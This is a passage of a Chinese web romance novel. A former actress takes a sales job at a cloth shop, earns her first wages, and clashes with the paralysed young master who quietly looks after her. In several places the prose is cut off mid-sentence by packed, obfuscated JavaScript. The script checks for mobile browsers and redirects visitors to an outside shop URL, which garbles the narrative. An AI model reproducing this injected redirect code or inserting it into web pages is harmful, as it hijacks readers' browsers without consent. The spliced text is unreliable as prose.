叶之萤太懂那种感觉了。正如她自己,也是万万不敢在这里遇到曾经的熟人的。 但她比温其玉幸运。她虽落魄,但因这里无人见过她曾经的光彩,倒也避免了那些指指点点。 阿力点头道:“是啊,少爷那么骄傲的人,不过就是苦了夫人。夫人每个月都会寄来一封信,信里情真意切,思念成疾,有时候给少爷读信,连我都忍不住红了眼眶。这不,昨日又来了一封信,说想来黎城看看少爷,但不出所料,又被少爷回信拒绝了!” 说话间,那团如火的夕阳已经消失不见,只剩下一片金色的余晖还笼罩在灰蓝朦胧的天边,随着渐渐消失的天际线,眼前的一切也很快暗了下来,唯独远处那连绵的雪山,在黑暗的映衬下反倒更加洁白、壮丽。 在宅子门口,他们正好碰到了要出门关若飞。 “怎么天黑了还出去?”她随口问道。 他一脸无奈道:“兄长安排的事,再晚也得做啊!” “你是在对他安排的事情不满吗?我这就准备进去了,你说我待会儿见到他是告诉他呢,还是告诉他呢?”她笑着逗他。 “好你个夜莺,敢威胁我!等我回来,我可不饶你!”关若飞人都走远了,还不忘对她“大放厥词”。 她一路穿过厅堂,走进内院,看到温其玉在门口的躺椅上靠着,身下还是她缝的那张歪七扭八的垫子,荣祥在他身旁蹲着,正用勺子喂他喝水。他看到她走近,漆黑的眸子瞬间浮上一层华彩。 “天都黑了,还不回房?”她一边和他打招呼,一边快步走到他身边。 “少爷看您这么晚还没回来……”身边的荣祥抢着回答。 “饿了吧?桌上的饭还热着,快进屋去吃!”他不紧不慢将荣祥的话压了下去。 叶之萤摸了摸肚子,刚才还不饿,被他这么一提醒倒是勾起了食欲,但还是先蹲在他身边,刚一蹲下,就忍不住笑了起来:“沈氏布庄的老板答应聘我了!” 她原本是想尽量平静地跟他分享自己的喜悦,可是心里的激动实在压制不住,等话说完时,她的嘴角都几乎要咧到了耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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每次阿力过来敲门叫吃饭,都被她以没空为由推走了,后来阿力只好把饭菜盛好端过来,但有时候等她想起来吃饭,饭菜都已经全凉了,甚至有时下一顿餐都送来了,才发现上一顿的还没吃。再后来,阿力干脆送完饭后半个时辰就过来收碗,如果那碗饭没吃,就收走再换一份热的过来,半个时辰后再过来收碗,如果还没吃,就再收走再换一份热的饭菜,就这样一直循环,直到她吃了为止。 于是,为了不浪费食物,当然,更是为了不让李大娘和阿力在一趟趟折腾中暗地里骂自己,叶之萤只得第一时间就把饭吃掉。 这不,现在她就停下了手上的事情,满脸白粉、头发散乱地坐在桌边,手拿木筷,看着面前热气腾腾的饭菜,在心里暗暗揶揄:温其玉,你厉害! 由于没做过销售、没用过发簪、连化妆品也和平时用的截然不同,她在学习这些东西时毫不意外地手忙脚乱、唉声叹气、焦头烂额!关若飞好几次来约她去登山都被她拒绝。 在叶之萤心里,如今任何事都没有这份工作来得重要。自己未来的生活可全靠它了! 52. 带货女王的销售潜力 很快,就到了五月十五这天,叶之萤怕自己起不来,便提前跟阿力说好,让他刚到卯时就来叫自己起床。谁知,因为太过兴奋,她竟然失眠了,以至于才刚刚闭上眼睛,连梦都还没来得及做,“砰砰砰”的敲门声就将她吵醒了。 她揉着惺忪的睡眼开了门,是守时的阿力。 “到卯时了?”站在门口,她的眼皮还在忍不住直打架,人也左摇右晃地站不住。 “到了。”阿力看到她这个样子,或许是对她的职业操守有些质疑,眼里露出了不信任的神色。 竟敢小瞧姐姐!叶之萤被他这眼神瞬间刺醒,没好气地说:“知道了,你去忙吧。” 阿力也知道刚才自己的眼神不合适,忙赔笑脸:“叶小姐,少爷为你准备了早饭,等会儿出门前别忘了过去吃!” “早饭?”她抬头望了一眼天边的满月,压低声音道,“这还半夜呢,他不睡觉吗?早饭端我房里来吧,别吵到他。” “少爷刚起不久,反正都要吃饭,过去一起吃吧!”不等她再回答,他就跑开了。 “起这么早!”叶之萤嘟哝着回房洗漱。 她先用发簪挽了个漂亮的发髻,又将各种珠钗、步摇装饰上头,再敷上铅粉,配合这里的流行趋势,化了一个温婉怜人的妆容。 她化妆手艺本就不错,很多戏里的妆都是自己动手化的,如今又闭关练习了一个星期,自信妆容已足够惊艳。 待穿好衣裳,她站在铜镜前,镜中之人纤长消瘦,身段柔美,满头青丝被一支发簪简单地挽起,鬓边的步摇随身而摆,额心的珍珠温润尔雅,眉目间似有柔光流转,一副温婉如玉、飘然如仙之姿态。 她突然有些恍惚,这个人,她是谁? 再定睛一看,即便温柔如玉的珍珠也掩盖不住眉心的倔强,柔和的目光中依然闪现出野心和欲望,她在镜子前摆弄着身姿,举手投足都难掩风情和妩媚。 她这才满意地对着铜镜笑了起来,这才是熟悉的叶之萤。 到温其玉房里时,他正在锻炼手部的抓握,右手恰好抓起了一颗木珠。这几日只顾着闭关,算起来,已经有足足七天没见他了,他竟然如此进步神速!叶之萤欣喜若狂,就定定地站在门口不敢再动,生怕发出动静会惊扰了他。 “叶小姐,你……”房里的阿力看到她进来,失声惊叹起来。 温其玉正全神贯注的锻炼,听到阿力的话,忙抬眼向她的方向看来。他定睛望着她,仿佛时间忽然定格在了那一刻,没有任何异样浮现在他脸上,若不是他眼里逐渐清亮的光芒在她脸上缓慢流转,若不是他正举起的右手重重砸在了面前的桌上,若不是他手中握着的木珠突然滚落在地…… 叶之萤差点就被他淡定的表情骗过了。 “你手没事吧?”她急忙往他跟前凑了几步。 “你,又清瘦了些。”说这话时,他是真的面露担忧。 “瘦一些穿衣服更好看嘛!”她走到床边,将地上那颗木珠捡起来放回他手边,笑着表扬他,“才七天没见,你都这么厉害了!” 听到她这么说,他突然又一抬眼,表情似有惊喜之态。叶之萤以为他是高兴听到自己夸他,便继续夸他:“你真的好棒!” 他没有再接话,只是看着桌上的饭菜叮嘱她:“快趁热吃饭吧。” 叶之萤看时间也差不多了,就没有再推辞,坐在桌边吃了起来,他则靠在床头一动不动,静静地看着她吃饭。 “你怎么不吃?”她边吃边问他。 “时间还早,待会儿吃。”他回。 “那你……怎么不练了?”从她进来,他就再没动过那颗木珠。 “有些累了,休息一会儿。” 叶之萤没有再多问,上班第一天,她还得早点到店,给沈老板留个好印象呢! 饭后,温其玉执意要阿力送她去,叶之萤拗不过,便同意了。 到沈氏布庄时,沈老板也才刚开门,正在整布料、挂样衣。叶之萤一进店,他便围着她打量,笑得合不拢嘴。 “叶小姐今日这装扮,啧啧……看来这些布料不愁卖了!”他从货架上取了几套衣服给她,“这些是今日上新的布料做的样衣,你且去换上一套!” 她听他的话去换了其中的一套,出来后,他连连拍手叫好:“哎呀,妙极!真是妙极!看了你穿的,别说顾客了,连我都想给自家闺女做一套!” “沈老板,您太夸张了!”虽然知道他说的是真的,但叶之萤还是谦虚地客气了一下。 沈老板却对她夸得合不拢嘴:“不夸张,绝对不夸张!叶小姐乃绝代佳人,沈氏布庄的布料穿在你身上,身价都涨了好几倍,看起来和旁边‘福裕绸庄’的锦缎也没什么差别了,哈哈哈!小兄弟,你说是不是啊?” 他心情不错,转而和一旁的阿力开起了玩笑。 “那是自然!沈老板的布料款式新颖,质量不俗,本就深受黎城人喜爱,如今又得到叶小姐为您推广布料和款式,真是如虎添翼,万事皆好,只怕生意想不兴隆都不行!”阿力也跟着笑了起来。 阿力的回答倒是让叶之萤吃了一惊,这话虽是奉承,却十分自然体面,一点不觉得生硬,平日里见他都是跟在温其玉身边照顾饮食起居,没想到说起话来头头是道,看来以前跟在温其玉身边没少学为人处世之道,从前倒是自己小瞧了他。 阿力送她上班的任务也算是圆满完成了,趁沈老板把展示样衣时,叶之萤走到他身边:“你小子挺会说话啊!这会儿也没什么事了,你回吧!” 他却说:“好,我就在旁边的满记茶楼,进门右手第一张桌子,你在这儿要是有什么事就过去找我。” 一边说,一边给她指满记茶楼的位置。 “你在那儿干嘛呀?有事吗?”她问道,原以为他是专门过来送自己的,没想到他竟要在这附近办事,还真是巧。 “是,少爷交代的事情。”他只简单解释了一句,明显不愿多说。 “噢!行吧,那你快去吧!别耽误了正事!”她也不好再多问,急忙把他送了出去。 过了辰时,街上逐渐热闹起来,大家都吃过了早饭,有的出来上工,有的出来给下午准备吃的,有的则闲来无事,出来饮饮茶、逛逛街。叶之萤看街上年轻女子慢慢多了起来,便开始主动出击,站到店门口吸引顾客。 这一招非常管用,她甚至不需要说话,只要站在那里,摆一个大方得体的姿势,就成功吸引了很多女孩子进店选购。 “你看,这是沈氏布庄新到的布料,这布料似乎比往常华丽了许多!” “是啊!倒是与锦缎有几分相似。这女子穿得可真好看!” 两个女子在不远处指着她身上的成衣议论。 她赶紧上前礼貌搭腔:“多谢姑娘夸奖!是这款衣裳的布料好看,才衬得穿衣裳的人好看,倘若穿在二位美娘子身上,只会更美!” 二位果然被她的“甜言蜜语”哄进店了。 “掌柜的,这位姑娘身上穿的是何布料?”一位中年女人指着叶之萤身上的衣裳问道。 沈老板立马从货架上抽出一块烟蓝色的布料:“这位夫人,这边看。她身上所穿是今日本店刚到的菱纹罗,轻薄透气,最适合暑天穿了,就是这块布料,您看看。” 店里开始不断地上客,沈老板忙不过来,第一天上岗的叶之萤也只得硬着头皮招待起来。 “大家随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991675|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便看,这边的布料全部都是今天新上的,我身上穿的就是用这款菱纹罗做成的样衣,这款布料轻盈透气,不闷不热,穿在身上好像皮肤会呼吸一样,过了端午,天气一天比一天热,这样的布料做衣裳再合适不过了!”她模仿着沈老板的说辞跟大家介绍。 “布料倒是很合适,可是这衣裳是对襟的,暑天穿略热了些。”一位女子提出了她的想法。 “款式可以按您的要求做啊!想做什么款式都可以,我们的裁缝都是有十几年以上经验的老师傅,只要您提出自己的要求,他们都可以做出来。倘若做出来的衣裳您穿着不满意,我们店也免费为您改到满意为止。沈氏布庄,诚信交易,手艺精湛,童叟无欺!”叶之萤的嘴皮子渐入佳境。 “我就要你身上穿的这套!要一模一样的,工期得几日?”听完她的介绍,另一位年轻女子已经激情下单了。 “好嘞,小娘子您在柜台那儿稍等,我让裁缝过来给您量体开单子,他会为您排工期的。” “这布料还有别的颜色吗?我不太喜欢蓝色,有绿色布料吗?”刚安排完一个顾客,就又有顾客过来咨询。 “有啊!这批到的布料正好有一款绿色的荷花纹提花罗,也做了样衣,我拿给您看!”说完,她将绿色的样衣全部拿了过来,一件一件的给她讲解,“这一套就是我刚刚说的新到的面料,我们的布料更新快,这两款虽然不是最新款,但同样也是当下最流行的花色和款式。” 看她似乎在这三套衣裳之间犹豫不决,叶之萤赶紧提议:“我可以帮你试穿,你看过后再决定?” 于是她帮这位顾客试了三套衣服,每试一套出来,沈老板都借机为店里顾客介绍她所穿衣裳的面料、款式和特点。 “掌柜的,我要刚刚那套荷叶纹印花罗的衣裳!” “还有新款面料吗?一起试穿让我们看看吧!” “是啊是啊,把这些也一块儿试穿了吧!” 看到大家的购买热情空前高涨,叶之萤心里越来越踏实,这工作稳了! 她喜滋滋地为大家将店里所有的新款样衣都试了一遍又一遍,试完之后,大家还不满足,又纷纷指挥她将之前的老款样衣也试了一遍又一遍,配合着专业的pose和台布,她成功将大伙冲动的购物情绪掀到了高潮。 谁让顾客是上帝呢! 直到午时已过,店里的客户才慢慢减少,沈老板左手翻着上午开的单子,右手手指配合在算盘上快速飞舞,越算笑得越开心。 叶之萤倚在柜台旁,才意识到自己一上午都没喝过一口水,也没坐过凳子。汉服形制复杂,穿脱都极其麻烦,而她在一个多时辰里试了十几套衣裳,说了无数句话,却一点都不觉得累,反而还亢奋着,就算不吃不喝不休息,也能再战几个时辰! 这时,阿力又出现在店门口。 “还没办完事?”她也往门口走去。 “走,跟我去吃饭!” 叶之萤跟沈老板打了声招呼,就跟着他去了不远处的满记茶楼。 二人刚坐下没几分钟,小二就端来了两盘小菜和一碗菌菇面。 她迫不及待地夹了一口面条,汤底醇厚,蘑菇鲜美,味道不错。 “你家少爷安排你的事,不会就是让你在这儿盯着我吧?”叶之萤并不傻。 他点头。 “他……他这么不相信我,把我当小孩子啊?”她忍不住抱怨,吃面的动作却始终没停下来。 “叶小姐,别急着生气,先听我解释!”眼看她不高兴了,阿力迅速为她面前的杯子里添了茶。 她接过茶杯呷了一口,顺了顺气,又夹了一筷子爽口的腌萝卜放进嘴里,一边吃,一边听他讲。 53. 赌约?心机! 阿力道:“少爷若是不信你,也不会主动提出让你来这里工作了。只是有些事情,并不是信任你就能放心让你一人面对。一来,你的外貌太过显眼,实在容易招来那些意图不轨之人,男女力量相差悬殊,万一有人动了坏心思,你一人能抵挡的了吗?二来,这沈氏布庄你也是第一天来,那沈老板为人如何,是否可靠,能否按契约结算工钱,我们都不知道,万一,我是说万一,那沈老板动了什么歪心思,你对这里的民风和官场的规则都不懂,凭一人之力你知道要怎么保护自己吗?” 面对阿力的反问,叶之萤倒是再说不出一句话来。虽然她也曾孤身勇闯娱乐圈,但那总归是一个自己相对熟悉的环境,她熟悉那个圈子特有的文化和规则,也知道遇到问题该如何处理。可是这里,就如阿力所说,怎么报官,甚至连官府在哪儿她都不知道…… 温其玉的安排确实没有什么问题。 “那这样吧,你保护我,我给你发工资,一个月三天,我给你一两银子,就算是我雇你的,怎么样?”她放下筷子,郑重其事地对他说。 “那可不行,我本来就在少爷那儿领了工钱的,即使是保护你,也是少爷安排给我的工作,是我该做的分内之事。少爷若是知道我拿了你的银子,肯定要狠狠地罚我,你可别害我!”阿力连连摆手。 “你死脑筋啊,你不说我不说他怎么知道!真是服了你了!” “那也不行,你要是银子多烧得慌,实在要给,就去给少爷吧!” 叶之萤睁大了眼睛吐槽起来:“我给他?你开什么玩笑!也不知道他平时给你们灌了什么迷汤,一个个这么忠心!连钱都不要!” 阿力却反驳了她的话:“少爷待我们好,我们自然衷心不二!实话跟你说吧,少爷还出钱为我老家的父母盖了房子呢,爹娘常说,这份恩情要永远记在心里。不仅如此,如今他们年岁渐长,少爷还特意派了下人照顾二老。我家祖祖辈辈都是农民,几辈子都是面朝黄土背朝天,只有我们给别人做下人,没想到有朝一日还能过上被下人服侍的日子,这些都是托少爷的福!” “那也不能这么说,毕竟他这个样子,也需要你照顾,给你点儿好处也是应该的啊!” “叶小姐,你这话我不敢苟同。”阿力有些不高兴了,“少爷没了我,还会有千万个下人排着队等着伺候他。照顾少爷虽然累些,但也得到了丰厚的物质报酬,少爷亦不多事,对于我们偶尔的失误,他也从不责罚我们,甚至连批评都没有。” 阿力说的确是事实。叶之萤想到自己之前照顾温其玉,即使犯了那么多错误,即使故意伤害他,他也没刁难过自己。 “他本不必再对我爹娘如此慷慨,但是他还是那么做了。他不是为了什么目的才对我好的,相反,他认为是因为自己的身体让我受累了,所以才想要做一些事情来弥补。少爷是个好人,但有时候,好人的道德感是个沉重的枷锁,少爷始终无法原谅自己的身体带给大家的麻烦,他对周围的人全都充满了歉意。但实际上,他才是这件事唯一的受害者,他不该承受这些的。” 阿力心中对此难以释怀,拿起面前的茶杯,将杯中已经温凉的茶水一饮而尽。 “所以他就躲在这边陲小城,谁也不见?”叶之萤又替他把茶杯添满。 阿力点了点头。 她突然想到一件事:“上次你家夫人的来信,温其玉回信了吗?” “回信昨日已经写好了,可我还没有寄出去。夫人每次满怀希望的来信,收到的都是一纸失望,我实在是于心不忍。”阿力又端起茶杯,将满心的郁闷和茶水同时一饮而尽。 菌菇面和两盘小菜已经全部被叶之萤一扫而空,上班时间也要到了,便起身对他说:“我该回店里了,这事你也别太心烦,信你先收着,我也帮你想想,看还有没有什么两全其美的办法,先走了!” 这里的人严格奉行日出而作,日落而息的自然法则,上午8点左右吃饭,中午12点休息,下午4点左右再吃晚饭,之后就在家缝缝衣服、收拾收拾屋子,天刚刚黑下来,他们就该休息了。 所以布庄一天最忙的时候其实是上午,一旦过了申时,也就是下午4点左右,太阳开始西沉,街上行人渐少,店里就只有偶尔几个零零散散的客人进出了。 沈老板会在酉时初刻将当日订单分派给三位裁缝,确认好量体数据,安排好交货时间,之后再盘点当日营业情况。在这期间,叶之萤会替他接待到店的顾客,为他们做大致的讲解,或为他们试穿。 此时,眼看已经过了酉时,店里没有客人,叶之萤站在放着新款布料的货架前,看似在观察不同布料之间的差别,实则心里正忐忑不安。 不知道店里今天的营业额有多少钱?沈老板看着挺爽快一个人,付钱的时候不会耍什么手段吧?还好阿力就在隔壁,真出了事还可以找他过来给自己撑腰。 “叶小姐,过来一下!”是沈老板叫她,他正站在柜台后面,手中还捏着账本。 是要结账吗?叶之萤心里免不了一阵狂喜,又不想让他看出自己这不值钱的样子,强忍着激动、假装若无其事地走到了柜台前。 沈老板将账本放到她面前,上面是当日所有收入,其中布料收入三十六两,成衣定制收入三十两,共计六十六两。 “今日布庄收入六十六两,按约定,应给你结款八两外加六百文。”说着,他便从保险箱中取出了九块银两,笑着推到她面前,“我们沈氏布庄在黎城开了十年,今日是生意最好的一日,特别是花罗那种高端布料,我一直想在黎城推广,却碍于价格定位始终难有突破,没想到今日却比以往多卖出十倍有余,这当然是倚仗叶小姐超强的销售能力,没想到叶小姐你除了貌美之外,销售竟然也有一套,能请到叶小姐,沈某真是三生有幸!这些银两都是你应得的,还请你日后能多多助力布庄的生意!” “沈老板您客气了,主要是您的产品好,衣裳做得又好看,我只不过是起个锦上添花的作用罢了!”叶之萤忙客气推辞,“以后您就别叫我‘叶小姐’这么见外了,就叫我‘小叶’吧。” “好的好的!”沈老板笑得合不拢嘴,“那这九两银子你就拿着吧,日后我们合作愉快!” “那谢谢沈老板了,合作愉快!”她拿了银子,和沈老板告辞后,便去隔壁的茶楼找阿力。 “阿力!”她的声音刚出来,嘴就忍不住咧到了耳朵根。 “看来是顺利拿到钱了。”阿力起身往她面前走来,还不忘逗她。 “你猜多少?”她神秘地问他。 “六两?” “你就这么小看我?”叶之萤白了他一眼,用手指在他面前写出一个“九”。 “九两?!”阿力直接在她耳边叫了起来。 叶之萤揉了揉耳朵,得意地说:“没想到我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991676|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么厉害吧!” “小弟佩服!”阿力双手抱拳,一脸崇拜。 二人路过了一个卖花的摊位,她挑选了一把粉色的蔷薇,一路迈着轻快的步伐往回家跑。 温其玉还是在关若飞为他做的那张椅子上躺着,如今天气渐热,他每天都会避开日头最盛之时出来晒晒太阳。只是,这明明已经日落西山了,他竟然还没回房去。 叶之萤把那束花藏在身后,放轻脚步悄悄靠近他,待到他身边后,大声“嘿”了一下。 他转过头来,见她回来,脸上露出藏不住的笑容:“看来生意不错?” 她从身后变出那束花,捧到他面前:“送你的!” 笑容在他脸上定格,他惊讶地看了她一眼,好像是在跟她确认眼前的花到底是不是给他的,在确认无误之后,他看着那束花笑了,笑容在他英气的脸上化开,化成一摊温柔的水,映得原本漆黑的目光亦如星辰般璀璨起来。 那只放在腹前的右手轻轻动了一下,然后抬起了大约两厘米的高度。在意识到他是想要用手去摸这束花后,叶之萤赶紧把花束往下挪到他手边。 虚弱弯曲的手指在那些深浅相间的粉色花瓣间轻轻摩挲了一阵,就颤颤巍巍地垂了下去。这样的动作已经是它的极限了,此时,它正搭在另一只同样蜷缩无力的手上,不受控制地发着抖。 “阿力,将它们插至书架上的青玉瓶中。”他的声音都有些喘,只是摸了几秒钟的花,便已让他筋疲力尽。 “你最近进步很大,这样显得好像是我以前没有好好照顾你似的!”叶之萤蹲在他身边,耷拉着脸假装跟他抱怨。 听她这么说,他又笑了起来,却笑很克制。 “你猜我今天挣了多少钱?”她终于还是没按耐住心里的激动,跟他分享起自己的喜悦。 “十两。”他不假思索地回答,仿佛在他心里,早已认定她可以做到。叶之萤吃了一惊,不仅是因为他猜得准,更是因为在他心里,从来没有看轻她。 “你真觉得我能挣十两?”心里一阵感动。 他坚定地点头。 “那我要让你失望了,只有九两,距离你的猜测还差一两。”她从袖中掏出装银子的布袋,在他面前晃了晃,又觉得不够,激动地打开袋子,把白花花的银子放在他面前,迫不及待向他展示今日的劳动成果。 “这九两银子算是我来这儿真正亲手挣到的第一笔钱,以后我会再接再厉,争取早日挣到十两,不,下次就要挣十两!我对天,嗯不是,我……对你发誓,下次如果挣不到十两银子,我就……就……就……”就了半天,也想不到有什么合适的惩罚。 “就罚你为我读三日书。”温其玉突然开口了。 “嗯?”她一时没反应过来什么意思。 他继续说道:“若是下次未挣到十两银子,便罚你为我读书三日。至于读什么书,一日读多久,皆由我说了算。” 他这个惩罚倒是挺稀奇的,着实令叶之萤没有想到。不过读文言文的书,对她来讲确实不失为一个痛苦的惩罚。她不禁感慨,这个人的脑子里到底都装着些什么,怎么就能想出这种乍一听很离谱、细想起来又恰如其分的东西来。 “犹豫了?”他挑眉问她。 居然还挑衅我!叶之萤一拍胸脯:“一言为定!” 温其玉那颗始终揪着的心终于随着她的答应而放松下来。 54. 这是爱吗? 这些日子,温其玉与叶之萤相处的时间越来越短,他每日疯了一般想要见她,想要她像从前那样陪着自己,哪怕什么也不做,只是坐在他床边也好。 可他不敢开口!因为自己令她失望了。这样一个无能的自己,又怎敢再对她提非分的要求?那日,他费尽心思、说尽好话,才总算解开了她的心结,说服她不再躲着自己,倘若再因为这副身体刺激到她,那他就真的没招了! 所以他只能每日在屋外等着她回来,只能继续命阿力把饭菜端到自己房里,人为制造一些与她接触的机会。他本不敢再奢求更多了,只是今日一早,她竟然脱口而出他们已经七日未见,这句话令他足足高兴了一整日! 他因此改变了想法,他想,她或许并不像自己以为的那样嫌弃自己,她还是在乎自己的。这不,她还特意用挣到的第一笔工钱为自己买了一束漂亮的蔷薇花,怎么不是在乎呢? “饿了吗?我让厨房给你准备晚饭。”他适时转移了话题,完美地藏住了心中的窃喜。 叶之萤摸着肚子装哭:“快饿死了!” 她的回答没有和他见外,这让他更高兴了,忙安排阿力去备饭:“先回房休息一下,待会儿饭好了叫你。” “好!”叶之萤站起身正准备离开,又突然停下脚步严肃批评他,“你也快回房去,太阳下山后潮气大,以后不要再这么晚出来了,万一着凉了怎么办?” 他被她说得低下头去。 “少爷是……” 身后的荣祥似乎有话想说,却被他及时打断:“我们也回房吧。” “噢。”荣祥不高兴地瞥了叶之萤一眼,没有再多说话。 荣祥为什么要那样看自己?回房之后,叶之萤一直在思考这个问题。她和荣祥甚至算不上有交集,只是在温其玉房里打过几回照面而已,刚才她自认没有说错话,明眼人都看得出来,她只是关心温其玉而已,荣祥又何故讨厌她? 很快,晚饭备好了,她照例去到温其玉房里吃饭,房间里只有他一人,倚着床头靠坐着。 “你不吃饭吗?”她又一次问他。 “我还不饿,你吃吧。”他道。 叶之萤看了眼窗外已经暗下来的天,道:“再晚吃的话睡觉会难受的,一块儿吃吧?” “你先吃,不必管我。”他继续拒绝。 “一起吃!”叶之萤突然较起真儿起来,“我想和你一起吃!” 她清楚地记得,自端午节那顿饭之后,温其玉便再没和她一起吃过饭了。 可床上的人并没有给她面子,依旧不答应。 “你是不是不想和我一块儿吃饭?”她干脆挑明了说。 “没有的事。”他不承认。 “明明就是!” 他低头不语,看起来是不打算再解释了。 可倔强的叶之萤也不愿善罢甘休:“你是什么意思嘛?以前不都是一块儿吃的吗?现在是怎么了?” 他依旧不回答,这让她更心急了,朝着他吼起来:“你说话呀!到底是为什么?为什么好好的突然就这样?” …… 叶之萤的炮仗脾气一下就上来了:“既然不想跟我吃饭,为什么每次吃饭还要叫我到你房间?你是不是整日躺在床上闲得发慌,把我吃饭当表演看啊?” 可能是她的这句话刺激到了他,他“唰”地一下抬起了头,慢慢地看向她,她看到他眼里充满了困惑,似乎是不理解她为何会说这样的话。 “温其玉,以后我们各吃各的,我没有兴趣坐在这里给你表演!”她撂下这句宣判决裂的话,愤怒地冲出了房门,从门外一脸错愕的阿力身边跑过。 叶之萤回到自己房里,气得把枕头被子通通扔到了地上。 其实她心里什么都明白。温其玉当时虽然嘴上说不介意她的态度,可转头连就吃饭都开始回避她,说到底,他还是介意的吧?被人嫌弃身体的残障,怎么可能丝毫不在意呢? 而他如今这样小心翼翼,也都是因自己对他的嫌弃而起。可自己刚刚居然还咄咄逼人、恶人先告状!还嫌他不解释! 他能说什么呢?难道要说就是因为你叶之萤嫌弃我,我才不想在你面前暴露自己的无能? 叶之萤越来越恨自己,为什么要喜欢上他又嫌弃他?为什么要一次又一次残忍地伤害他? 她今日之所以恼羞成怒冲温其玉发火,不过是想听温其玉亲口告诉她,他不在她面前吃饭是因为别的,而不是因为她的嫌弃,这样,她才能对他少一点内疚,心里也才能好过一点。可是温其玉没有如她的愿,那房间里长久的沉寂无疑是在提醒她,就是因为她! 可即使如此,温其玉也没有指责过她一句。他宁愿不说话,也不愿责怪她。他如此为自己着想,自己竟然还在怪他! 自端午那日起,叶之萤和温其玉之间就被一层不能捅破的纸隔开了,另一边的温其玉愈发沉默,叶之萤开始看不清他的脸,也听不见他的心。她很想撕开那层纸将他看个清楚,可是她没有勇气。她怕这一撕而引发的代价自己承受不起,更怕那张纸连着他的心,被她一起撕碎了…… 她心里一团乱麻,怎么也解不开,烦躁地在屋里来回踱步,走到梳妆台前,鬼使神差地打开了那只木盒,几条红绳静静地躺在里面,和她放进去时的姿势一样,纹丝未动,亦和隔壁房间那个不会动的人一样。 那刺眼的红色让她更加心烦意乱,她重重合上盖子,将那木盒推到了远处。 屋子里的空气越来越稀薄,前所未有的憋闷让她难以呼吸,本想推开窗户透透气,阿力却站在窗外,她又迅速关上窗,直接推门而出。 温其玉竟然在门口。 他坐在轮椅上,不知正打算做什么。看到她出来,他有些无措。 叶之萤瞪了他一眼,就往门外跑去。 “你要去哪里?”身后传来他的声音。 她压根不理他,听见他的声音,反而跑得更快。 “阿力,跟上她!” “别跟来!”她停下脚步,转过身朝他们吼道。 阿力站在二人中间,很是为难。 “我只是想一个人出去透透气,别跟着我,行吗?” “天色已晚,外面危险,让阿力陪你吧?就远远地陪着,绝不打扰。”他的声音听上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991677|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去极其卑微,可这样的卑微却令叶之萤更加烦躁。明明他什么也没有做错! “随便吧!” 阿力跟在她身后,也不敢靠她太近。出门后,趁阿力还没跟上来,叶之萤突然一个变速,跑到对面的一条小巷子里躲了起来。 等阿力从大门出来后,左寻右寻都寻不见她的人影。叶之萤看他犹豫了片刻,往宅子左边跑了,等他跑远后,才从巷子里悄悄出来,反方向往宅子右边跑去。她并不是故意戏弄阿力,只是想一个人安静地待会儿,不想有人打扰而已。 叶之萤打小就擅长跑步,曾经还是市田径队的队员,后来因为学业才没有再继续。步入演艺圈后,她养成了夜跑的习惯。圈子里腥风血雨,当她心里很乱的时候,只要戴上耳机,将自己隔绝在这喧嚣的世界之外,酣畅淋漓地跑上一个小时,心里的烦闷便会被急促的呼吸暂时带走。 她脚下的步伐越来越快。夹杂着重重水汽的风从耳边呼啸而过,潮热的空气被鼻腔吸入身体,很久没感觉过这样的兴奋了,她越跑越快,直到耳边突然想起几声巨大的“轰隆”声,头顶一阵阵亮如白昼,她才被吓得定在了原地。 接着,一阵狂风席卷而来,路两侧的树被卷得剧烈摇摆,不少树枝都被刮断了,和众多被吹掉的树叶一起在空中乱舞。看来,暴风雨就要来了。 正在想着,豆大的雨滴就噼里啪啦从天而降,她的身影瞬间被淹没在这匆忙而来的暴雨中,十秒钟后,雨水就将她从头到脚浇了个透。 周围无处可躲,而叶之萤也并不想躲,这场暴雨来得正是时候,她焦躁的心情急需一场甘霖降温,而她混乱的头脑也需要一场雨清醒一下。 原本安静的街道那头似乎有动静,仔细辨认,是温宅的方向,她听见很多人焦急地说话,很快,就听见有人叫她的名字。是温其玉派人出来找她了。 她的名字从不同的人口中喊出来,此起彼伏,有远有近。其中,有一个人的声音从远处焦急地赶来,撞进了她的心里,把她那颗坚硬的心撞得碎了一地。 